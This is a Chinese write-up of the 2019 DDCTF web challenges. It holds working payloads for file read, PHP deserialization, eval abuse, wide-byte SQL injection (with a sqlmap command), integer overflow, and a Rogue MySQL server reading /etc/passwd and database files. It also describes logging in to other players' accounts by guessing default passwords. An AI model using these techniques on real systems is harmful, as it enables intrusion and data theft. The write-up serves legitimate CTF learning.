2019 DDCTF

栏目: 数据库 · Mysql · 发布时间: 4年前

内容简介:2019 DDCTF web writeup[TOC]NULL 题目地址:[http://117.51.150.246](http://117.51.150.246/)

2019 DDCTF web writeup

[TOC]

Web1 滴~

Description

NULL 题目地址:[http://117.51.150.246](http://117.51.150.246/)

Hacking

文件读取

<title>TmprMlpUWTBOalUzT0RKbE56QTJPRGN3</title>index.php</br>index.php</br><img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>

直接读 index.php 得到

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

找到类似的 原题 ,但是原题利用了 .idea 文件泄露,这里并没有,留下的只是一个深深的巨坑,首先看 php 顶部链接找到博客,然后发现这篇博客日期不对。找到该博主7月4日的博客,发现是一篇名为 vim 异常退出 swp文件提示 的博客,看文章内容发现有一个恢复 .practice.txt.swp 的操作。

结果这里是个巨坑,最后是要拿到的文件是 practice.txt.swp ,并没有开头的 . 符号…然后提示 f1ag!ddctf.php ,然后去读这个文件源码,得到

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

很简单的变量覆盖。

2019 DDCTF

Web 2 WEB 签到题

Description

NULL 题目地址:

Hacking

url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

我们可以看到 Application.php 中的关键代码

public function __destruct(){
  	//...
	  $this->response($data = file_get_contents($path), 'Congratulations');  
	  //...
}

而且在 session.php 中我们可以找到一处反序列化的地方,所以很明显就需要我们去构建一个反序列化漏洞,利用这里去读取 ../config/flag.txt

我们在 session.php 中发现关键代码

if (!empty($_POST["nickname"])) {
  $arr = array($_POST["nickname"], $this->eancrykey);
  $data = "Welcome my friend %s";
  foreach ($arr as $k => $v) {
    $data = sprintf($data, $v);
  }
  parent::response($data, "Welcome");
}

这里循环使用 sprintf 格式化打印 $arr ,所以我们只需要让第二次存在一个 %s ,即可让他打印出 $this->eacrykey ,所以可以构造 nickname=%s 即可得到 $this->eacrykey 为 EzblrbNS

2019 DDCTF

之后我们可以发现主要就是要构造 $session 这个变量来触发 session_read() 函数中的 $session = unserialize($session);

于是我们可以先从服务器获取 session_create() 得到的数据如下

a:4:{s:10:"session_id";s:32:"9e887a62624202e40d11881772b19569";s:10:"ip_address";s:11:"157.0.25.86";s:10:"user_agent";s:82:"Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.14;+rv:66.0)+Gecko/20100101+Firefox/66.0";s:9:"user_data";s:0:"";}a170c04974e03dc5cc763c0ab32d6905;

我们就可以得到 ip 了,接下里我们只需要去构造反序列化 Application 这个类就好了。

这个类也很简单,主要就是绕过它的这个 sanitizepath() 方法即可,我们双写就可以绕过了。

var $path = "..././config/flag.txt";

所以我们可以在 session.php 中自己本地搭一下

private function session_create(){
        $sessionid = '';
        while (strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0, mt_getrandmax());
        }
        $a = new Application();
        $userdata = array(
            'session_id' => '272a4339b6b9340dad9466656d869286',
            'ip_address' => '157.0.25.86',
            'user_agent' => $a,
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
        );
    }

session_id 修改为服务器获取得到的 session_id 即可,ip_address 服务器也返回了,填上去了就好了。这样我们本地搭起环境,从 http 头中拿到 cookie ,用这个 cookie 访问服务器即可拿到 flag 了。

Web 3 Upload-IMG

Description

user:dd@ctf pass:DD@ctf#000

Hacking

CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)

其他人可以直接用搜到的 jpg_payload.php 可以直接随便拿一个图片都可以拿到 flag ,而我就不行了…应该是图片的原因….

最后自己按照这个 GitHub 仓库 生成拿到了 flag…

Web 4 homebrew event loop

Description

Flag格式:`DDCTF{.....}`,也就是请手动包裹上`DDCTF{}`

Hacking

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f96147e657'

def FLAG():
    return 'FLAG_is_here_but_i_wont_show_you'  # censored
    
def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack
    
class RollBackException: pass

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp
    
@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html

def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':
    
        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'
            
        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
            else:
                html += line
        source.close()
        
        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')
        
def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
    
def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume
    
def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
    
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

一个比较简单的 Flask 框架,提供使用 points 购买 diamonds 的功能,然后将操作记录写进 session['log'] 里面。

整个代码还是比较简单的,而且漏洞点也相对比较明显。其实每个语言的 eval 函数都差不多,比如这里 pythoneval 函数,类似于 php 中的 eval ,也可以将 eval 中的字符串当作代码来处理。

所以这意味着什么呢?这就意味着可以使用 # 注释我们不需要的代码。

举个例子:

>>> eval("print(1)")
1
>>> eval("print(1)#do something)")
1

所以我们就可以利用这个特性,利用题目中的 event_handler 来执行任意函数。

2019 DDCTF

利用 # 成功绕过了后缀的限制执行了 show_flag_function 函数。

虽然可以直接执行 getFlag 函数,但是这个函数还是有一个限制 session['num_items'] >= 5 ,即使可以直接执行但是因为这个判断也无法绕过。所以这里可以有一些思路,比如找一个可以由 int 函数转换成负数的数,或者直接打印函数什么。但是两种基本都走不通…

CTF 魅力所在可能就是可以让你利用你能利用的一切去创造一些新的途径达到自己目的。

既然要绕过 session['num_items'] >= 5 的判断,我们就需要通过 buy_handler 来增加自己的物品数,然而这个函数里面我们可以看到

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

最后一行并没有直接调用 consume_point_function ,而是通过调用 trigger_event 来调用花费的函数。

然而我们可以看到 trigger_event 函数

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

只不过是用来增加 session 记录而已,并没有立即去调用 consume_point_function ,所以如果我们在 buy_handlerconsume_point_function 两个函数之间执行 get_Flag 函数,就可以先增加自己的 item 来绕过 get_Flag 函数对于 item 的判断,尽管之后会执行 consume_point_function 函数,但是 Flag 已经被我们打印出来了,所以后面即使会回滚也无关紧要了。

所以如何构造这个 payload 达到我们在 buy_handler 之后立即执行 get_Flag 函数呢。让我们来看看整个代码的逻辑。首先代码会进入 entry_point 函数,并将 querystring 传入 trigger_event 函数, trigger_event 将行动记录到 session['log'] 当中,接着执行 execute_event_loop 函数。

我们重点来看 execute_event_loop 这个函数。

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

这个函数进入循环执行函数的条件为 while len(request.event_queue) > 0 ,而 trigger_event 函数是可以控制 request.event_queue 的关键,所以按照我们之前的思路,我们是不是可以利用这个函数来控制我们的执行顺序呢?

例如我们可以先尝试构造 action:trigger_event%23;action:buy;8 ,我们本地可以通过 app.logger.info 来查看 execute_event_loop 循环中的 actionargs 参数,我们可以得到

2019 DDCTF

可以看到执行了 but_handler 函数,我们注意 trigger_event 中是可以接受数组的

if type(event) == type([]):
        request.event_queue += event

对于数组的处理,他会挨个加入到 request.event_queue ,所以我们就可以利用传入数组来控制执行顺序,只要我们传入一个第一个参数为 but_handler 的函数,第二个参数为 get_Flag 的函数就可以实现在调用花费函数之前来输出 Flag 了。

怎么构造数组呢?在 execute_event_loop 中对于参数的处理可以自己随便测试一下就知道了他是以 :; 之后的字符串以 # 为分割来形成数组的。

2019 DDCTF

所以这样子我们就成功将 get_flag 函数优先调用了。接下来就是处理一些细节的事情了,比如调用 get_Flag 在源代码中是 get_flag_handler ,所以我们需要传入的参数是 action:get_flag ,以及 Flag 最后是通过以下函数调用 trigger_event 把 Flag 输出到 session['log'] 当中的。

def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

所以我们的 payload 就是 action:trigger_event%23;action:buy;8%23action:get_flag; ,再通过p牛的 flask cookie 解密脚本即可得到 flag

2019 DDCTF

Web 5 欢迎报名DDCTF

Description

提示:XSS不是获取cookie 提示2:之后是注入

Hacking

一开始根本打不了…而且还被人用 Beff 搅屎了…而且严重怀疑这题是中途改题的…很坑

2019 DDCTF

首先题目设置比较简单

2019 DDCTF

测试 XSS ,但是贼坑的误导你,返回了想误导你走入 sql 注入的大坑。

2019 DDCTF

我们可以用 xss 拿到 admin.php 的 html 源码

2019 DDCTF

看到源码中一个接口,直接访问提示需要一个 id 的传参,随便输入之后看到响应包

HTTP/1.1 200 OK
Date: Thu, 25 Apr 2019 03:06:39 GMT
Server: Apache
Content-Length: 31
Connection: close
Content-Type: text/html;charset=gbk


<title>List Query API</title>

发现 Content-Typecharset=gbk ,猜测是一个宽字节注入。而且并没有什么过滤,直接开注,可能唯一需要一点 trick 的就是需要用十六进制绕过被转义的单引号了…

注出库名

2019 DDCTF

注出表名

2019 DDCTF

注出字段名

2019 DDCTF

拿到 flag

2019 DDCTF

当然也可以用 sqlmap 直接跑。

2019 DDCTF

也可以指定使用 --tamper unmagicquotes 来进行注入

python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --level 3 -D ctfdb -T ctf_fhmHRPL5 --dump

Web 6 大吉大利,今晚吃鸡~

Description

注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~ 本题不需要使用扫描器

Hacking

一开始一直在溢出购买的这里,但是一旦溢出了,服务器就返回 500 了…

GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
Host: 117.51.147.155:5050
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.155:5050/index.html
Connection: close
Cookie: user_name=zedd; REVEL_SESSION=ef66cfc3f5199180eea686597f4a1e72

然后看到一道类似 护网杯Itshop 题目,所以考虑这个地方是不是也是用的是余额-支出这么个操作来溢出呢

2019 DDCTF

查找 GoLang 的相关数据类型,用 uint32 成功溢出。

2019 DDCTF

猜测在 price 转换成 int 的时候发生溢出变成 -1 ,导致余额减去花费大于0,成功绕过判断买到入场券。

之后就比较简单了,可以通过输入 ticket 杀 bot ,猜测 id 与 ticket 有某种映射关系,可以注册一系列小号买 ticket 保大号杀。

2019 DDCTF

附上脚本。

import requests
import re
import time

username = 'zedde'
base_url = 'http://117.51.147.155:5050'
register = base_url + '/ctf/api/register?name={0}&password=12345678'
buy_url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296'
search_url = base_url + '/ctf/api/search_bill_info'
pay_url = base_url + '/ctf/api/pay_ticket?bill_id='
remove_url = base_url + '/ctf/api/remove_robot?id={0}&ticket={1}'

cookies = dict(user_name='zedd',REVEL_SESSION='ef66cfc3f5199180eea686597f4a1e72')

for i in range(0,700):
    user = username + str(i)
    register_url = register.format(user)
    req = requests.session()
    rep = req.get(register_url)
    rep = req.get(buy_url)
    rep = req.get(search_url)

    str_text = r'"bill_id":"(.*)",'
    match = re.search(str_text, rep.text, re.M|re.I)
    if match:
        bill_id = match.group(1)

    rep = req.get(pay_url + bill_id)
    matchObj = re.search( r'{"your_id":(.*),"your_ticket":"(.*)"}]', rep.text, re.M|re.I)
    # print(rep.text)
    
    if matchObj:
        bot_id = matchObj.group(1)
        ticket = matchObj.group(2)
    else:
        continue
    r = requests.get(remove_url.format(bot_id,ticket), cookies=cookies)
    print(r.text)
    time.sleep(1)

这题还有一种 trick 就是猜榜单已经做出来的师傅的密码,一般 id 都是师傅们的 id ,密码大多都是12345678(别问我怎么知道…我也是12345678…

比如这位师傅,用 12345678 登进去就拿到他的 flag 了。后面就是你敢不敢交的问题了…手动斜眼,毕竟后面有一段看起来貌似是随机的字符串…可能是主办方用来防作弊的?不得而知…hhhh

2019 DDCTF

后面看官方的 wp 发现光房预设解其实是想让选手用 md5 长度拓展攻击去做的,也可以通过下面这题 mysql 弱口令来读吃鸡的源码拿 flag。

另外:登录那里还有个水平越权,无论成功与否,都会返回用户的 cookie ,因此也可以猜师傅们的用户名,直接带着 cookie 去看他的 /main/result 即可。(2333

Web 7 WEB mysql弱口令

Description

部署agent.py再进行扫描哦~ 本题不需要使用扫描器

Hacking

很经典的 Rogue-Mysql-Server 一题,但是坑点还是有的。建议使用这个 Github 仓库来做 allyshka/Rogue-MySql-Server

题目给了一个 agent.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

这里可能会比较容易误导,题目是固定地去请求你的 8123 端口,你必须得在 8123 部署这个 agent.py ,然后看代码,这个 agent.py 并没有做一个内网转发代理什么的,只不过是探测你部署的机器上有没有运行 mysqld 服务以及对应的服务端口是什么,然后他在外网去访问 agent.py 返回的 mysql 的端口。知道这个就非常好做了,基本坑都绕过了…不然的话就像一开始只能一个个排错什么的…

只要把 agent.py 中的返回直接给他改了,改成直接返回自己的端口即可。

def _func(self):
       netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
       netstat.wait()

       ps_list = netstat.stdout.readlines()
       result = []
       for item in ps_list[2:]:
           tmp = item.split()
           Local_Address = tmp[3]
           Process_name = tmp[6]
           tmp_dic = {'local_address': '0.0.0.0:3306', 'Process_name': 'mysqld'}
           result.append(tmp_dic)
       return result

例如这样,不一定非得 3306 ,可以把 Rogue Mysql 那一套放在其他端口也可。

其他的都是一贯的 Rogue Mysql 的操作,这里就不重复演示了。

然后可以去读 /root/.bash_history 看之前的路径文件,发现在 /home/dc2-user/ctf_web_2/app/main/views.py 可以读到题目源码

# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "参数不能为空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必须为数字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必须输入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是内网ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
	tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服务器未开启mysql", "data": result})

    tmp_result =mysql_scan(target_ip, target_port)

    if not tmp_result['Flag'] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 0, "msg": "未扫描出弱口令", "data": []})
    else:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        result.append(tmp_result)
        return jsonify({"code": 0, "msg": "服务器存在弱口令", "data": result})


def checkip(ip):
    p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$')
    if p.match(ip):
        return True
    else:
        return False

def curl(url):
    tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE)
    tmp.wait()
    result = tmp.stdout.readlines()
    return result

def get_agent_result(ip, port):

    str_port = str(port)
    url = 'http://'+ip + ':' + str_port
    curl(url)
    if not os.path.exists('content.log'):
        return (0, '未开启agent')
    with open('content.log') as f1:
        tmp_list = f1.readlines()
        response = ''.join(tmp_list)
    os.remove('content.log')
    if not 'mysqld' in response:
        return (0, response)
    else:
        return (1, response)


def ip2long(ip_addr):

    return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):

    ip = ip2long(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
            ip2long('10.0.0.0') >> 24 == ip >> 24 or \
            ip2long('172.16.0.0') >> 20 == ip >> 20 or \
            ip2long('192.168.0.0') >> 16 == ip >> 16

def mysql_scan(ip, port):

    port = int(port)
    weak_user = ['root', 'admin', 'mysql']
    weak_pass = ['', 'mysql', 'root', 'admin', 'test']
    Flag = 0
    for user in weak_user:
        for pass_wd in weak_pass:
            if mysql_login(ip,port, user, pass_wd):
                Flag = 1
                tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag}
                return tmp_dic
            else:
                tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag}
                return tmp_dic



def mysql_login(host, port, username, password):
    '''mysql login check'''

    try:
        conn = MySQLdb.connect(
            host=host,
            user=username,
            passwd=password,
            port=port,
            connect_timeout=1,
            )
        print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info")
        conn.close()
        return True
    except MySQLdb.Error, e:

        print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error")
        return False

可以读 /etc/passwd 拿到 mysql 的路径,然后根据 mysql 的路径与 flag 在数据库中的位置提示,我们可以直接读 /var/lib/mysql/security/flag.ibd 中可以拿到 flag,也可以读 /var/lib/mysql/ibdata1 ,只是这个文件一般比较大。

2019 DDCTF

